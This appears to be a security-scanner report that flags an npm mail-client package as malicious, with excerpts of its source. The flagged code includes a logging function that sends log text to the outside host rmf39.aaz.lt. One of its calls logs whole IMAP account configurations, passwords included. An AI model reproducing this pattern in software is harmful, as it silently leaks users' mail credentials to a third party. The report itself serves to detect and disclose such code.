@bobfrankston/mailx-store-web@0.1.126: Malicious npm security | LPM Firewall

Loading npm security reports…

@bobfrankston/mailx-store-web@0.1.126: Malicious npm security | LPM Firewall

Source & flagged code

7 flagged · loading source

worker-entry.tsView file

37try { L38: fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {}); L39: } catch { /* ignore */ } ... L90: if (!homeRes.ok) return null; L91: const home = (await homeRes.json() as any).files?.[0]; L92: if (!home?.id) return null;

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

worker-entry.tsView on unpkg · L37

worker-bundle.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/mailx-store-web@0.1.122 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.122 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

worker-bundle.jsView on unpkg

android-bootstrap.jsView file

1505const gdriveAccounts = await loadAccountsFromCloud(); console.log(`[android] GDrive returned ${gdriv

High

Ai Review Evidence

Android initialization loads account records from Google Drive.

android-bootstrap.jsView on unpkg · L1505

1513for (const account of accounts) { vlog(`init: registering ${account.id} email=${account.email} enabled=${account.enabled} imap=${JSON.stringify(account.imap)}`); if (!account.enabled) {

High

Ai Review Evidence

The account-loading loop logs the complete IMAP configuration before checking whether the account is enabled.

android-bootstrap.jsView on unpkg · L1513

46function vlog(msg) { try { fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => { }); } catch { /* ignore */ } } /** C156: user-

High

Ai Review Evidence

The logging function sends up to 800 characters to the fixed external host rmf39.aaz.lt without a consent gate.

android-bootstrap.jsView on unpkg · L46

157server: account.imap.host, port: account.imap.port || 993, username: account.imap.user, password: account.imap.password,

High

Ai Review Evidence

The serialized IMAP configuration contains the username and password used for mail authentication.

Source & flagged code

7 flagged

worker-entry.tsView file

Lines 17-57typescript

17 setGDriveTokenProvider, setGDriveFolderId

18} from "./web-settings.js";

19

20// ── Globals ──

21

22let db: WebMailxDB;

23let bodyStore: WebMessageStore;

24let syncManager: SyncManager;

25let service: WebMailxService;

26

27const post = (msg: any) => (self as any).postMessage(msg);

28

29// ── Event emission → main thread ──

30

31function emitEvent(event: any): void {

32 post({ type: "event", event });

33}

34

35function vlog(msg: string): void {

36 // Route through main thread for logit (fetch works in workers but keep consistent)

37 try {

38 fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {});

39 } catch { /* ignore */ }

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

worker-entry.tsView on unpkg · L37

40}

41

42// ── Native bridge proxy ──

43

44let nativeReqCounter = 0;

45const pendingNative = new Map<number, { resolve: (v: any) => void; reject: (e: Error) => void }>();

46

47function nativeRequest(op: string, args?: any[]): Promise<any> {

48 const reqId = ++nativeReqCounter;

49 return new Promise((resolve, reject) => {

50 pendingNative.set(reqId, { resolve, reject });

51 post({ type: "native", reqId, op, args });

52 setTimeout(() => {

53 if (pendingNative.has(reqId)) {

54 pendingNative.delete(reqId);

55 reject(new Error(`Native ${op} timeout`));

56 }

57 }, 60000);

worker-bundle.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/mailx-store-web@0.1.122 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.122 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

worker-bundle.jsView on unpkg

android-bootstrap.jsView file

Lines 26-66javascript

26let service;

27let syncManager;

28const eventHandlers = [];

29// ── Event emitter ──

30function emitEvent(event) {

31 for (const

Lines 137-177javascript

137 // with no source and the message showed "Body parsed empty". A real

138 // config change is rare and handled by a restart.

139 if (this.providers.has(account.id)) {

140 vlog(`addAccount ${account.id}: provider already registered — keeping it`);

141 return;

142 }

143 if (this.isGmailAccount(account)) {

144 const tokenProvider = this.tokenProviders.get(account.id);

145 if (tokenProvider) {

146 this.providers.set(account.id, new GmailApiWebProvider(tokenProvider));

147 console.log(`[sync] ${account.id}: Gmail API provider registered`);

148 }

149 else {

150 console.warn(`[sync] ${account.id}: no token provider`);

151 }

152 }

153 else if (account.imap?.host && account.imap?.user) {

154 // Generic IMAP account — use BridgeTransport through MAUI's TCP bridge

155 try {

156 const provider = new ImapWebProvider({

157 server: account.imap.host,

158 port: account.imap.port || 993,

159 username: account.imap.user,

160 password: account.imap.password,

High

Ai Review Evidence

The serialized IMAP configuration contains the username and password used for mail authentication.

android-bootstrap.jsView on unpkg · L157

161 inactivityTimeout: 300000, // 300s for slow Dovecot

162 fetchChunkSize: 10,

163 fetchChunkSizeMax: 100,

164 }, () => new BridgeTcpTransport());

165 this.providers.set(account.id, provider);

166 this.imapAccountConfigs.set(account.id, account);

167 vlog(`addAccount ${account.id}: IMAP provider registered (${account.imap.host}:${account.imap.port})`);

168 console.log(`[sync] ${account.id}: IMAP provider registered (${account.imap.host})`);

169 }

170 catch (e) {

171 vlog(`addAccount ${account.id}: IMAP provider FAILED: ${e.message}`);

172 console.error(`[sync] ${account.id}: IMAP provider failed: ${e.message}`);

173 }

174 }

175 else {

176 vlog(`addAccount ${account.id}: no imap config, skipping`);

177 }

Lines 1361-1401javascript

1361 }

1362 };

1363 // Also listen for the event C# dispatches after bridge injection

1364 window.addEventListener("nativebridgeready", () => resolve(), { once: true });

1365 check();

1366 });

1367}

1368export function initAndroid() {

1369 // C158: idempotency guard. The 2026-07-22 fold/unfold logit trail showed

1370 // ONE WebView reload executing the boot module TWICE — duplicate "bridge

1371 // installed", duplicate GDrive lookups, tripled OAuth launches. The

1372 // guard lives on window (not a module local) so it holds even when the

1373 // module itself is instantiated twice (bundle + package-path specifiers

1374 // resolve to distinct module instances).

1375 const w = window;

1376 if (w.__rmfInitAndroid) {

1377 console.warn("[android] initAndroid called again — duplicate suppressed (C158)");

1378 vlog("C158: duplicate initAndroid call suppressed");

1379 return w.__rmfInitAndroid;

1380 }

1381 return w.__rmfInitAndroid = initAndroidOnce();

1382}

1383async function initAndroidOnce() {

1384 console.log("[android] Initializing mailx (main-thread mode)...");

High

Ai Review Evidence

The exported Android initialization path activates this account-loading behavior.

android-bootstrap.jsView on unpkg · L1381

1385 // First words on screen. A fresh install has no local accounts, so the

1386 // UI's zero-account path used to paint an empty pane while the Drive

1387 // pull ran — "blank screen and 'syncing' at the bottom" (Bob

1388 // 2026-08-01). Every stage below narrates; this is the one that lands

1389 // before there is anything at all to show.

1390 narrate("Initializing…");

1391 // Main-thread path: async I/O (fetch, TCP bridge) doesn't block the UI,

1392 // and only sql.js is CPU-bound enough to maybe warrant a Worker later.

1393 // Worker path was reverted 2026-04-14 (stuck at "Initializing..." on Android).

1394 await waitForNativeBridge();

1395 if (window._nativeBridge && !window.msgapi) {

1396 window.msgapi = window._nativeBridge;

1397 }

1398 db = new WebMailxDB("mailx");

1399 await db.waitReady();

1400 bodyStore = new WebMessageStore();

1401 syncManager = new AndroidSyncManager(db, bodyStore);

Lines 1485-1533javascript

1485 const lr = await fetch(`https://www.googleapis.com/drive/v3/files?q='${folderId}'+in+parents+and+trashed%3Dfalse&fields=files(id,name,mimeType,owners(emailAddress))`, { headers: { "Authorization": `Bearer ${tk}` } });

1486 if (lr.ok) {

1487 const ld = await lr.json();

1488 const names = (ld.files || []).map((f) => `${f.name}(${f.owners?.[0]?.emailAddress || "?"})`).join(","

1489 console.log(`[android] Folder contents: ${ld.files?.length || 0} files [${names}]`);

1490 }

1491 else {

1492 console.warn(`[android] List folder failed: ${lr.status}`);

1493 }

1494 }

1495 catch (e) {

1496 console.warn(`[android] List debug: ${e.message}`);

1497 }

1498 // Shared allowlist/preferences: pull NOW that Drive auth is

1499 // live, instead of waiting for the first message read to

1500 // trigger the lazy revalidate (which is itself served stale).

1501 primeSharedConfigs()

1502 .catch(e => console.warn(`[android] prime shared configs: ${e?.message || e}`));

1503 // Read accounts directly from GDrive (bypass IndexedDB cache)

1504 narrate("Loading accounts from Google Drive…");

1505 const gdriveAccounts = await loadAccountsFromCloud();

1506 console.log(`[android] GDrive returned ${gdriveAccounts.length} accounts: ${gdriveAccounts.map(a => a.id).join(",")}`);

High

Ai Review Evidence

Android initialization loads account records from Google Drive.

android-bootstrap.jsView on unpkg · L1505

1507 if (gdriveAccounts.length > 0) {

1508 // Use canonical GDrive accounts (upsert handles overwrites)

1509 accounts = gdriveAccounts;

1510 const enabled = accounts.filter(a => a.enabled);

1511 narrate(`Found ${enabled.length} account(s): ${enabled.map(a => a.email || a.id).join(", ")}`);

1512 let setUp = 0;

1513 for (const account of accounts) {

1514 vlog(`init: registering ${account.id} email=${account.email} enabled=${account.enabled} imap=${JSON.stringify(account.imap)}`);

1515 if (!account.enabled) {

1516 vlog(`init: ${account.id} disabled, skipping`);

High

Ai Review Evidence

The account-loading loop logs the complete IMAP configuration before checking whether the account is enabled.

android-bootstrap.jsView on unpkg · L1513

1517 continue;

1518 }

1519 narrate(`Setting up ${account.email || account.id}… (${++setUp}/${enabled.length})`);

1520 const domain = account.email?.split("@")[1]?.toLowerCase() || "";

1521 if (domain === "gmail.com" || domain === "googlemail.com") {

1522 syncManager.setTokenProvider(account.id, createNativeTokenProvider(account.email));

1523 }

1524 await syncManager.addAccount(account);

1525 }

1526 console.log(`[android] Loaded ${accounts.length} accounts from GDrive`);

1527 // C157: sync NOW. The boot-time syncAll ran before these

1528 // providers existed (fresh install: zero local accounts),

1529 // so without this kick the folder tree stayed empty until

1530 // the next 60 s poll tick — on top of OAuth consent time,

1531 // that read as "frozen for minutes". syncAll's inbox

1532 // phase lists folders first, so the tree paints in

1533 // seconds; message counts stream in behind.